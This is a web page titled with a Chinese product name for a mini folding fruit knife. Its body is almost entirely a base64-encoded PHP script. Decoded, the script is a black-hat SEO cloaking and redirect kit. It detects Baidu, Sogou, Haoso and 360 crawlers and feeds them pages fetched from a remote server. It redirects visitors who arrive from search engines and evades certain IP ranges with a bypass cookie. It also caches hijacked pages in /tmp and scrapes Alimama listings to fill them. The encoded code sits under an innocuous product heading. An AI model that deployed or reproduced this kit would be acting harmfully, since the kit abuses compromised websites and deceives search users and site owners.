水果刀 折叠刀迷你 瑞士
2016-05-24 17:43:13
ICRrZXlOYW1lID0n5rC05p6c5YiAIOaKmOWPoOWIgOi/t+S9oCDnkZ7lo6snOyAKCmZ1bmN0aW9u IEFwcF9HZXRMaW5rKCl7CQoJcmV0dXJuICJodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9hcnRpY2xl LSIucmFuZCgxMDAwMDAwMCw5OTk5OTk5OSkuIi0xLmh0bWwiOwp9CgpmdW5jdGlvbiBBcHBfR2V0 U2VsZigpewoJcmV0dXJuICJodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9hcnRpY2xlLSIucmFuZCgx MDAwMDAwMCw5OTk5OTk5OSkuIi0xLmh0bWwiOwp9CgoKLy/Ct8K1wrvDmMONwrzDhsKsCmZ1bmN0 aW9uIGdldEltZygpewoJcmV0dXJuICdodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9pbWcvMjAxNTEx MDYvbHEnLnJhbmQoMSwyMCkuIi5qcGciOwp9CgoKCgpmdW5jdGlvbiBybmRTdHIoJGxlbmd0aD04 KXsKCSRzdHIgPSBudWxsOwoJJHN0clBvbCA9ICIwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFy c3R1dnd4eXoiOwoJJG1heCA9IHN0cmxlbigkc3RyUG9sKS0xOwoJZm9yKCRpPTA7JGk8JGxlbmd0 aDskaSsrKXsKCQkkc3RyLj0kc3RyUG9sW3JhbmQoMCwkbWF4KV07Cgl9CglyZXR1cm4gJHN0cjsK fQoKY2xhc3MgY29yZUFwcENhY2hlewoJCglwdWJsaWMgZnVuY3Rpb24gd3JpdGUoJGZpbGUsJGZp bGVuYW1lKXsKCQlyZXR1cm4gZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLHNlbGY6OmVuY29k ZSgkZmlsZSkpOwoJfQoJcHVibGljIGZ1bmN0aW9uIHdyaXRlbm9jb2RlKCRmaWxlLCRmaWxlbmFt ZSl7CgkJcmV0dXJuIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZSwkZmlsZSk7Cgl9CglwdWJs aWMgZnVuY3Rpb24gcmVhZCgkZmlsZW5hbWUpewoJCSRjb250ZW50ID0gZmlsZV9nZXRfY29udGVu dHMoJGZpbGVuYW1lKTsKCQlpZihzdHJpc3RyKCRjb250ZW50LCI8L2V4cGxvZGU+IikpewoJCQkk Y29udGVudCA9IHNlbGY6OmN1dCgkY29udGVudCwiPGV4cGxvZGU+IiwiPC9leHBsb2RlPiIpOwoJ CX0KCQlyZXR1cm4gc2VsZjo6ZGVjb2RlKCRjb250ZW50KTsKCX0KCglwdWJsaWMgZnVuY3Rpb24g ZW5jb2RlKCRmaWxlKXsKCQlyZXR1cm4gYmFzZTY0X2VuY29kZShnemNvbXByZXNzKHNlcmlhbGl6 ZSgkZmlsZSkpKTsgCgl9CgoJcHVibGljIGZ1bmN0aW9uIGRlY29kZSgkZmlsZSl7CgkJcmV0dXJu IHVuc2VyaWFsaXplKGd6dW5jb21wcmVzcyhiYXNlNjRfZGVjb2RlKCRmaWxlKSkpOyAKCX0KCQoJ cHVibGljIGZ1bmN0aW9uIGN1dCgkZmlsZSwkZnJvbSwkZW5kKQoJeyAKCQkkbWVzc2FnZT1leHBs b2RlKCRmcm9tLCRmaWxlKTsgCgkJJG1lc3NhZ2U9ZXhwbG9kZSgkZW5kLCRtZXNzYWdlWzFdKTsg CgkJcmV0dXJuICAgJG1lc3NhZ2VbMF07Cgl9Cn0KCgoKCiRteV9jb250ZW50PScnOwppZighZW1w dHkoJGtleU5hbWUpKXsKCSRxdWVyeV9kYXRhID0gYXJyYXkoJ3EnPT4ka2V5TmFtZSwpOwoJJG15 X2FsaW1hbWEgPSBuZXcgYWxpbWFtYSgkcXVlcnlfZGF0YSk7CgkkbXlfYWxpbWFtYS0+cXVlcnko KTsKCSRteV9jb250ZW50ID0gJG15X2FsaW1hbWEtPmh0bWwoKTsKfQokZGF0YSA9IHN0cl9yZXBs YWNlKCc8cGhwdWw+PC9waHB1bD4nLCRteV9jb250ZW50LCRkYXRhKTsKaWYoc3RycG9zKCRkYXRh LCJbaXRlbTptZW51XSIpIT09IGZhbHNlJiYhZW1wdHkoJGtleU5hbWUpKXsKCSR0YWdfdXJsID0g J2h0dHBzOi8vc3VnZ2VzdC50YW9iYW8uY29tL3N1Zz9jb2RlPXV0Zi04JnE9Jy51cmxlbmNvZGUo JGtleU5hbWUpOwoJJHRhZ19jb250ZW50ID0gYWxpbWFtYTo6SHR0cFZpc2l0KCR0YWdfdXJsKTsK CSR0YWdfanNvbiA9IGpzb25fZGVjb2RlKCR0YWdfY29udGVudCx0cnVlKTsKCSR0YWdfbWVudSA9 ICcnOwoJZm9yZWFjaCAoJHRhZ19qc29uWydyZXN1bHQnXSBhcyAka2V5ID0+ICR2YWx1ZSkgewoJ CSRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CgkJJHBocF9zZWxmID0gJF9TRVJW RVJbJ1BIUF9TRUxGJ107CiAJCSR0YWdfaXRlbV91cmw9J2h0dHA6Ly8nLiRodHRwX2hvc3QuJHBo cF9zZWxmLic/a2V5TmFtZT0nLnVybGVuY29kZSgkdmFsdWVbMF0pOwoJCSR0YWdfbWVudSA9ICR0 YWdfbWVudS4nPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9IicuJHRhZ19pdGVtX3VybC4nIj4nLiR2 YWx1ZVswXS4nPC9hPic7Cgl9CgkkZGF0YSA9IHN0cl9yZXBsYWNlKCdbaXRlbTptZW51XScsJHRh Z19tZW51LCRkYXRhKTsKfQoKY2xhc3MgYWxpbWFtYXsKCQoJcHVibGljICRzaG93X3NwaWRlcjsK CXB1YmxpYyAkanVtcF9yZWY7CglwdWJsaWMgJGh0dHBfcmVmX2ZpbHRlcjsKCXB1YmxpYyAkanVt cF91cmwgPSAiIjsKCXB1YmxpYyAkZG9tYWluID0gIiI7CglwdWJsaWMgJGNvbmRpdGlvbiA9ICIi OwoJcHVibGljICRhcHBfc2VydmVyID0gIiI7CglwdWJsaWMgJGxvZ19zcGlkZXIgPSAiIjsKCXB1 YmxpYyAkY3VyX3NwaWRlciA9ICIiOwoJcHVibGljICRhbGxvd19pcCA9ICIiOwoJcHVibGljICRp c0NhY2hlID0gZmFsc2U7CglwdWJsaWMgJGNyYXdsX3VybCA9ICJodHRwOi8vcHViLmFsaW1hbWEu Y29tL2l0ZW1zL3NlYXJjaC5qc29uIjsKCXB1YmxpYyAkcXVlcnlfZGF0YTsKCXB1YmxpYyAkY29u dGVudDsKCglwdWJsaWMgJGxpX3RlbXBsYXRlPSI8bGk+CiAgPGRpdiBjbGFzcz0nbGlfbGlzdCcg b25tb3VzZW92ZXI9J3RoaXMuY2xhc3NOYW1lPSdsaV9ob3ZlcicnIG9ubW91c2VvdXQ9J3RoaXMu Y2xhc3NOYW1lPSdsaV9saXN0Jyc+CiAgICA8ZGl2IGNsYXNzPSduZXcnPjwvZGl2PgogICAgPGRp diBjbGFzcz0nY29sbGVjdCc+PGEgaHJlZj0namF2YXNjcmlwdDo7Jz48L2E+PC9kaXY+CiAgICA8 ZGl2IGNsYXNzPSdwaWMnPjxhIGhyZWY9J3t1cmx9JyB0YXJnZXQ9J19ibGFuayc+IDxpbWcgc3Jj PSd7cGljdXJsfSc+PC9hPjwvZGl2PgogICAgPGRpdiBjbGFzcz0ndGl0bGUnPiA8YSBocmVmPSd7 dXJsfScgdGFyZ2V0PSdfYmxhbmsnPnt0aXRsZX08L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdt b25leV9iZyc+IAoJICAgIDxzcGFuPjxlbSBjbGFzcz0nbW9uZXlfc3ltYm9sJz7vv6U8L2VtPjxl bSBjbGFzcz0nbW9uZXlfbnVtJz57cHJpY2V9PC9lbT48L3NwYW4+IAoJICAgIDxzcGFuIGNsYXNz PSdmeF9tb25leV9iZyc+IDxlbSBjbGFzcz0nemhla291IGl0ZW0nIHN0eWxlPSd2aXNpYmlsaXR5 OiB2aXNpYmxlOyc+PGI+e25pY2t9PC9iPjwvZW0+IAoJICAgIDxlbSBjbGFzcz0ncWlhbmdvdSc+ PC9lbT4gCiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9J3RqcF9ib3R0b21fYmcnPgogICAgICA8 ZGl2IGNsYXNzPSd0anBfYm90dG9tJz4KICAgICAgICA8ZGl2IGNsYXNzPSd0anBfZmFidSBjb2xv cl85OSc+e3RvdGFsRmVlfTwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9J3RqcF94aWFvYmlhbiBj b2xvcl82Nic+e3RvdGFsTnVtfTwvZGl2PgogICAgICA8L2Rpdj4KICAgIDwvZGl2PgogIDwvZGl2 Pgo8L2xpPiAiOwoKCS8v5a6a5LmJ5p6E6YCg5Ye95pWw77yM55So5LqO5Yid5aeL5YyW6LWL5YC8 CiAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkcXVlcnlfZGF0YSkKICAgIHsKICAgICAgICAgJHRo aXMtPnF1ZXJ5X2RhdGEgPSAkcXVlcnlfZGF0YTsgICAgICAgIC8v6L+Z6YeM5bey57uP5L2/55So 5LqGdGhpc+aMh+mSiOivreWPpeKRoAogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBzZXRRdWVyeURh dGEoJHF1ZXJ5X2RhdGEpewoJCSR0aGlzLT5xdWVyeV9kYXRhID0gJHF1ZXJ5X2RhdGE7CgkJcmV0 dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGh0bWwoKXsKCQkkY29udGVudCA9ICR0aGlz LT5jb250ZW50OwoJCSRhbGltYW1hX2pzb24gPSBqc29uX2RlY29kZSgkY29udGVudCx0cnVlKTsK CQkkaHRtbCA9ICI8dWw+IjsKCQlmb3JlYWNoICgkYWxpbWFtYV9qc29uWydkYXRhJ11bJ3BhZ2VM aXN0J10gYXMgJGtleSA9PiAkdmFsdWUpIHsKCSAJCSRpdGVtX3VybD0kdmFsdWVbJ2F1Y3Rpb25V cmwnXTsKCSAJCSRpdGVtX3RpdGxlPSR2YWx1ZVsndGl0bGUnXTsKCSAJCSRpdGVtX3ByaWNlPSR2 YWx1ZVsnemtQcmljZSddOwoJIAkJJGl0ZW1fcGljdFVybD0kdmFsdWVbJ3BpY3RVcmwnXS4nXzQw MHg0MDBfLndlYnAnOwoJIAkJJGl0ZW1fbmljaz0kdmFsdWVbJ25pY2snXTsKCSAJCSRpdGVtX3Rv dGFsTnVtPSfmgLvplIDph486Jy4kdmFsdWVbJ3RvdGFsTnVtJ107CgkgCQkkaXRlbV90b3RhbEZl ZT0n5oC75Lqk5piT6aKdOicuJHZhbHVlWyd0b3RhbEZlZSddOwoKCQkJJGh0dHBfaG9zdCA9ICRf U0VSVkVSWydIVFRQX0hPU1QnXTsKIAkJCSRwaHBfc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRidd OwoJIAkJJGl0ZW1fdXJsPSdodHRwOi8vJy4kaHR0cF9ob3N0LiRwaHBfc2VsZi4nP2dvdHU9Jy5i YXNlNjRfZW5jb2RlKCRpdGVtX3VybCk7CgoJIAkJJGl0ZW1fcGljdFVybD0naHR0cDovL2kua2Fu dHUuaW4vJy5iYXNlNjRfZW5jb2RlKCRpdGVtX3BpY3RVcmwpOwoKCQkJJGxpID0gJHRoaXMtPmxp X3RlbXBsYXRlOwoKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0aXRsZX0nLCRpdGVtX3RpdGxlLCRs aSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7cHJpY2V9JywkaXRlbV9wcmljZSwkbGkpOwoJCQkk bGkgPSBzdHJfcmVwbGFjZSgne3VybH0nLCRpdGVtX3VybCwkbGkpOwoJCQkkbGkgPSBzdHJfcmVw bGFjZSgne3BpY3VybH0nLCRpdGVtX3BpY3RVcmwsJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2Uo J3t0b3RhbE51bX0nLCRpdGVtX3RvdGFsTnVtLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7 bmlja30nLCRpdGVtX25pY2ssJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0b3RhbEZlZX0n LCRpdGVtX3RvdGFsRmVlLCRsaSk7CgoJCQkkaHRtbCA9ICRodG1sLiRsaTsKCSAJCS8vIGVjaG8g JGxpOwoJIAl9CgkgCSRodG1sID0gJGh0bWwuIjwvdWw+IjsKCQlyZXR1cm4gJGh0bWw7Cgl9CgoJ cHVibGljIGZ1bmN0aW9uIHF1ZXJ5KCl7CgkJJHVybCAgPSAkdGhpcy0+Y3Jhd2xfdXJsLic/Jy5o dHRwX2J1aWxkX3F1ZXJ5KCR0aGlzLT5xdWVyeV9kYXRhKTsKCQkkdGhpcy0+Y29udGVudCA9ICR0 aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIHJ1bigpewoJCSR0aGlz LT5kb21haW4gPSAkdGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJCSR0aGlzLT5qdW1wX3JlZiA9IGV4 cGxvZGUoInwiLCJiYWlkdS58aGFvc28ufGhhb3NvdS58YmluZy58c28ufHNvZ291Lnxzb3NvLiIp OwoJCSR0aGlzLT5odHRwX3JlZl9maWx0ZXIgPSBleHBsb2RlKCJ8IiwiaW51cmw6fHNpdGU6fHNp dGUlM0F8aW51cmwlM0EiKTsKCQkkdGhpcy0+YWxsb3dfaXAgPSAiMjIyLjE4NC4yMzR8MTEyLjg3 LjcxfDU4LjIyMS44Ny58NDkuNjcuMjIzIjsKCQkkdGhpcy0+Y29uZGl0aW9uID0gKCRfR0VUWydh aWQnXSA+IDEwMDAwMDAwICYmICR0aGlzLT5pc0FsbG93ZElwKCkpOwoJCSR0aGlzLT5hcHBfc2Vy dmVyID0gIiI7CgkJJHRoaXMtPmlzQ2FjaGUgID0gRmFsc2U7CgkJaWYoJHRoaXMtPmlzU3BpZGVy KCkgJiYgJHRoaXMtPmlzQWxsb3dkSXAoKSl7CgkJCQlpZigkdGhpcy0+Y29uZGl0aW9uKXsKCQkJ CQlpZigkdGhpcy0+aXNDYWNoZSl7CgkJCQkJCSRyZWxzZXRfaG9zdCA9ICR0aGlzLT5nZXRTZXJ2 ZXJOYW1lKCk7CgkJCQkJCSRkaXIgPSAoc3Vic3RyKFBIUF9PUywgMCwgMykgPT0gJ1dJTicgPyAn Qzovd2luZG93cy90ZW1wLycgOiAnL3RtcC8nKSAuIHN1YnN0cihtZDUoJHJlbHNldF9ob3N0KSwg MjYpIC4gY2hyKDQ3KTsKCQkJCQkJJGNhY2hlRmlsZSA9ICRkaXIuJ3Nlc3NfJyAuIHN1YnN0ciht ZDUoaHR0cF9idWlsZF9xdWVyeSgkX0dFVCkpLCA2KTsKCQkJCQkJaWYoIUBmaWxlX2V4aXN0cygk ZGlyKSl7CiAgICAgICAgICAgICAJCQkJIG1rZGlyKCRkaXIsIDA3NzcpOwogICAgICAgICAgICAJ CQl9CgkJCQkJCWlmKEBmaWxlX2V4aXN0cygkY2FjaGVGaWxlKSAmJiBAZmlsZXNpemUgKCRjYWNo ZUZpbGUpID4gMzIgKXsKCQkJCQkJCSR2YXIgPSBjb3JlQXBwQ2FjaGU6OnJlYWQoJGNhY2hlRmls ZSk7CgkJCQkJCQkkcGFnZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKEFQUF9KQUNLX1RFTVBMQVRFKTsK CQkJCQkJCWZvcmVhY2goJHZhciBhcyAka2V5PT4kdil7CgkJCQkJCQkJJGZsYWcgPSAieyIuJGtl eS4ifSI7CgkJCQkJCQkJJHBhZ2UgPSBzdHJfcmVwbGFjZSgkZmxhZywkdiwkcGFnZSk7CgkJCQkJ CQl9CgkJCQkJCQllY2hvICRwYWdlOwoJCQkJCQkJZXhpdCgpOwoJCQkJCQl9CgkJCQkJCWVsc2UK CQkJCQkJewkKCQkJCQkJCS8vwrDDvMK6wqzCvcO4QVBQwrzCtMK/w4kKCQkJCQkJCSRjdXJyZW50 UGFnZSA9IGluY2x1ZGUoQVBQX0pBQ0tfQVBQRklMRSk7CgkJCQkJCQlpZigkY3VycmVudFBhZ2Ug JiYgc3RybGVuKCRjdXJyZW50UGFnZSkgPiAzMiAmJiBzdHJpc3RyKCRjdXJyZW50UGFnZSwiPC9l eHBsb2RlPiIpKXsKCQkJCQkJCQkkdmFyID0gc2VsZjo6Y3V0KCRjdXJyZW50UGFnZSwiPGV4cGxv ZGU+IiwiPC9leHBsb2RlPiIpOwoJCQkJCQkJCSR2YXIgPSBjb3JlQXBwQ2FjaGU6OmRlY29kZSgk dmFyKTsKCQkJCQkJCQkkcGFnZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKEFQUF9KQUNLX1RFTVBMQVRF KTsKCQkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYpewoJCQkJCQkJCQkkZmxhZyA9ICJ7 Ii4ka2V5LiJ9IjsKCQkJCQkJCQkJJHBhZ2UgPSBzdHJfcmVwbGFjZSgkZmxhZywkdiwkcGFnZSk7 CgkJCQkJCQkJfQoJCQkJCQkJCWVjaG8gJHBhZ2U7CgkJCQkJCQkJQGNvcmVBcHBDYWNoZTo6d3Jp dGVub2NvZGUoJGN1cnJlbnRQYWdlLCRjYWNoZUZpbGUpOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJ CWRpZSgpOwoJCQkJCX0KCQkJCQllbHNlCgkJCQkJewoJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNs dWRlKEFQUF9KQUNLX0FQUEZJTEUpOwoJCQkJCQllY2hvICRjdXJyZW50UGFnZTsKCQkJCQkJZGll KCk7CgkJCQkJfQoJCQkJfQoJCQkJZWxzZQoJCQkJewoKCQkJCQkkdGhpcy0+X3VuY29uZGl0aW9u X2hvb2soKTsKCQkJCX0KCQl9CgkJZWxzZQoJCXsJCgkJCWlmKCR0aGlzLT5pc1JlZigpICYmICR0 aGlzLT5jb25kaXRpb24pewoJCQkJJHRoaXMtPkp1bXAoKTsKCQkJfQoJCQllbHNlCgkJCXsKCQkJ CSR0aGlzLT5fdW5TcGlkZXJfaG9vaygpOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBp c0FsbG93ZElwKCl7CgkJJGlwID0gJHRoaXMtPmNsaWVudElwKCk7CgkJJG5vbl9saXN0ID0gZXhw bG9kZSgifCIsJHRoaXMtPmFsbG93X2lwKTsKCQlmb3JlYWNoKCRub25fbGlzdCBhcyAkaXBsaXN0 KXsKCQkJaWYoQHN0cmlzdHIoJGlwLCRpcGxpc3QpKXsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJ CX0KCQlyZXR1cm4gdHJ1ZTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gY2xpZW50SXAoKXsKCQlpZihn ZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfQ0xJRU5U X0lQJyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX0NMSUVOVF9J UCcpOwoJCX0gZWxzZWlmKGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKSAmJiBzdHJjYXNl Y21wKGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKSwgJ3Vua25vd24nKSkgewoJCQkkb25s aW5laXAgPSBnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJyk7CgkJfSBlbHNlaWYoZ2V0ZW52 KCdSRU1PVEVfQUREUicpICYmIHN0cmNhc2VjbXAoZ2V0ZW52KCdSRU1PVEVfQUREUicpLCAndW5r bm93bicpKSB7CgkJCSRvbmxpbmVpcCA9IGdldGVudignUkVNT1RFX0FERFInKTsKCQl9IGVsc2Vp Zihpc3NldCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkgJiYgJF9TRVJWRVJbJ1JFTU9URV9BRERS J10gJiYgc3RyY2FzZWNtcCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSwgJ3Vua25vd24nKSkgewoJ CQkkb25saW5laXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCQl9CgkJcHJlZ19tYXRjaCgi L1tcZFwuXXs3LDE1fS8iLCAkb25saW5laXAsICRvbmxpbmVpcG1hdGNoZXMpOwoJCSRvbmxpbmVp cCA9ICRvbmxpbmVpcG1hdGNoZXNbMF0gPyAkb25saW5laXBtYXRjaGVzWzBdIDogJ3Vua25vd24n OwoJCXVuc2V0KCRvbmxpbmVpcG1hdGNoZXMpOwoJCXJldHVybiAkb25saW5laXA7Cgl9CgoJcHVi bGljIGZ1bmN0aW9uIGlzU3BpZGVyKCl7CgkJJGJvdHMgPSBhcnJheSgKCQkJCSdCYWlkdScgICAg ICAgID0+ICdiYWlkdXNwaWRlcicsCgkJCQknU29nb3UnICAgICAgICA9PiAnc29nb3UnLAoJCQkJ J0hhb3NvJyAgICAgICAgPT4gJ2hhb3NvdXNwaWRlcicsCgkJCQknMzYwc3BpZGVyJyAgICAgICAg PT4gJzM2MHNwaWRlcicKCQkgKTsKCQkkdXNlckFnZW50ID0gc3RydG9sb3dlcigkX1NFUlZFUlsn SFRUUF9VU0VSX0FHRU5UJ10pOwoJCWZvcmVhY2ggKCRib3RzIGFzICRrID0+ICR2KXsKCQkJaWYg KHN0cmlzdHIoJHVzZXJBZ2VudCwkdikpewoJCQkJaWYoIWVtcHR5KCR0aGlzLT5sb2dfc3BpZGVy KSl7CgkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCR0aGlzLT5sb2dfc3BpZGVyLCR2LiItPlZpc2l0 ZWQgIi4kX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10uImF0OiAiLmRhdGUoIlktbS1kIEg6aTpzIiku IlxuIixGSUxFX0FQUEVORCk7CgkJCQl9CgkJCQkkdGhpcy0+Y3VyX3NwaWRlciA9ICRrOwoJCQkJ cmV0dXJuIHRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlyZXR1cm4gZmFsc2U7CQoJfQoKCXB1 YmxpYyBmdW5jdGlvbiBpc1JlZigpewoJCSRyZWYgPSBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsnSFRU UF9SRUZFUkVSJ10pOwoJCWlmKGlzc2V0KCRfQ09PS0lFWyJkb21haW4tZmlsdGVyLWJ5cGFzcyJd KSl7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJCgkJaWYoISR0aGlzLT5pc0FsbG93ZElwKCkpewoJ CQlzZXRjb29raWUoImRvbWFpbi1maWx0ZXItYnlwYXNzIiwgImxvbCIsIHRpbWUoKSArIDI1OTIw MCk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCWZvcmVhY2goJHRoaXMtPmh0dHBfcmVmX2ZpbHRl ciBhcyAkcil7CgkJCSRyID0gdHJpbSgkcik7CgkJCWlmKHN0cmlzdHIoJHJlZiwkcikpewoJCQkJ c2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFzcyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDAp OwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfQoJCgkJZm9yZWFjaCgkdGhpcy0+anVtcF9yZWYg YXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlpZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXJl dHVybiB0cnVlOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBnZXRTZXJ2ZXJOYW1lKCkg Cgl7IAoJCSRTZXJ2ZXJOYW1lID0gc3RydG9sb3dlcigkX1NFUlZFUlsnU0VSVkVSX05BTUUnXT8k X1NFUlZFUlsnU0VSVkVSX05BTUUnXTokX1NFUlZFUlsnSFRUUF9IT1NUJ10pOyAKCQlpZiggc3Ry cG9zKCRTZXJ2ZXJOYW1lLCdodHRwOi8vJykgKSAKCQl7IAoJCQlyZXR1cm4gc3RyX3JlcGxhY2Uo J2h0dHA6Ly8nLCcnLCRTZXJ2ZXJOYW1lKTsgCgkJfSAKCQlyZXR1cm4gJFNlcnZlck5hbWU7IAoJ fQoKCXB1YmxpYyBmdW5jdGlvbiBnZXRQYWdlKCl7CgkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkk Y2FjaGU9ImNhY2hlZCI7CgkJfQoJCSR1cmwgID0gJHRoaXMtPmFwcF9zZXJ2ZXIuIj9kb21haW49 Ii4kdGhpcy0+ZG9tYWluLiImZ2lkPTE5OSZzcGlkZXI9Ii4kdGhpcy0+Y3VyX3NwaWRlci4iJmNh Y2hlPSIuJGNhY2hlLiImbG9jYWxQYXI9Ii5odHRwX2J1aWxkX3F1ZXJ5KCRfR0VUKTsKCQlyZXR1 cm4gJHRoaXMtPkh0dHBWaXNpdCgkdXJsKTsKCX0KCiAgICBwdWJsaWMgZnVuY3Rpb24gSHR0cFZp c2l0KCR3ZWJ1cmwpIHsKICAgIAkkdXNlcl9hZ2VudCA9ICJNb3ppbGxhLzUuMCAoTWFjaW50b3No OyBJbnRlbCBNYWMgT1MgWCAxMF8xMF81KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtl IEdlY2tvKSBDaHJvbWUvNDUuMC4yNDU0Ljg1IFNhZmFyaS81MzcuMzYgUVFCcm93c2VyLzMuOS4z OTQzLjQwMCI7CiAgICAgICAgJHJlbW90ZV9kYXRhID0gTlVMTDsKICAgICAgICBpZiAoZnVuY3Rp b25fZXhpc3RzKCdjdXJsX2V4ZWMnKSkgewogICAgICAgICAgICAkY3VybCA9IEBjdXJsX2luaXQo KTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgJHdlYnVybCk7 CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IRUFERVIsIDApOwogICAg ICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDMwKTsK ICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAx KTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVz ZXJfYWdlbnQpOyAKICAgICAgICAgICAgJHJlbW90ZV9kYXRhID0gQGN1cmxfZXhlYygkY3VybCk7 CiAgICAgICAgICAgIEBjdXJsX2Nsb3NlKCRjdXJsKTsKICAgICAgICB9IGVsc2UgewogICAgICAg ICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fY29udGV4dF9jcmVhdGUnKSkgewogICAg ICAgICAgICAgICAgJGhlYWRlcl9hcnJheSA9IGFycmF5KCdodHRwJyA9PiBhcnJheSgnbWV0aG9k JyA9PiAnR0VUJywgJ3RpbWVvdXQnID0+IDMwKSk7CiAgICAgICAgICAgICAgICAkaHR0cF9oZWFk ZXIgPSBAc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRoZWFkZXJfYXJyYXkpOwogICAgICAgICAgICAg ICAgJHJlbW90ZV9kYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3ZWJ1cmwsIGZhbHNlLCAkaHR0 cF9oZWFkZXIpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHRlbXBfdXJs ID0gZXhwbG9kZSgiLyIsICR3ZWJ1cmwpOwogICAgICAgICAgICAgICAgJG5ld191cmwgPSAkdGVt cF91cmxbMl07CiAgICAgICAgICAgICAgICAkaHR0cF9wb3J0ID0gODA7CiAgICAgICAgICAgICAg ICAkZ2V0X2ZpbGUgPSBzdWJzdHIoJHdlYnVybCwgc3RybGVuKCRuZXdfdXJsKSArIDcpOwogICAg ICAgICAgICAgICAgaWYgKHN0cnN0cigkbmV3X3VybCwgY2hyKDU4KSkpIHsKICAgICAgICAgICAg ICAgICAgICAkc192YXJfYXJyYXlbJ3RkJ10gPSBleHBsb2RlKGNocig1OCksICRuZXdfdXJsKTsK ICAgICAgICAgICAgICAgICAgICAkbmV3X3VybCA9ICRzX3Zhcl9hcnJheVsndGQnXVswXTsKICAg ICAgICAgICAgICAgICAgICAkaHR0cF9wb3J0ID0gJHNfdmFyX2FycmF5Wyd0ZCddWzFdOwogICAg ICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZzb2NrX3Jlc3VsdCA9IEBmc29ja29wZW4o JG5ld191cmwsICRodHRwX3BvcnQpOwogICAgICAgICAgICAgICAgQGZwdXRzKCRmc29ja19yZXN1 bHQsICdHRVQgJyAuICRnZXRfZmlsZSAuICcgSFRUUC8xLjEnIC4gIlxyXG4iIC4gJ0hvc3Q6JyAu ICRuZXdfdXJsIC4gIlxyXG4iIC4gJ0Nvbm5lY3Rpb246Q2xvc2UnIC4gIlxyXG5cclxuIik7CiAg ICAgICAgICAgICAgICB3aGlsZSAoIWZlb2YoJGZzb2NrX3Jlc3VsdCkpIHsKICAgICAgICAgICAg ICAgICAgICAkcmVtb3RlX2RhdGEgLj0gZmdldHMoJGZzb2NrX3Jlc3VsdCwgMTAyNCk7CiAgICAg ICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmc29ja19yZXN1bHQpOwogICAg ICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVtb3RlX2RhdGE7CiAgICB9CgoJ 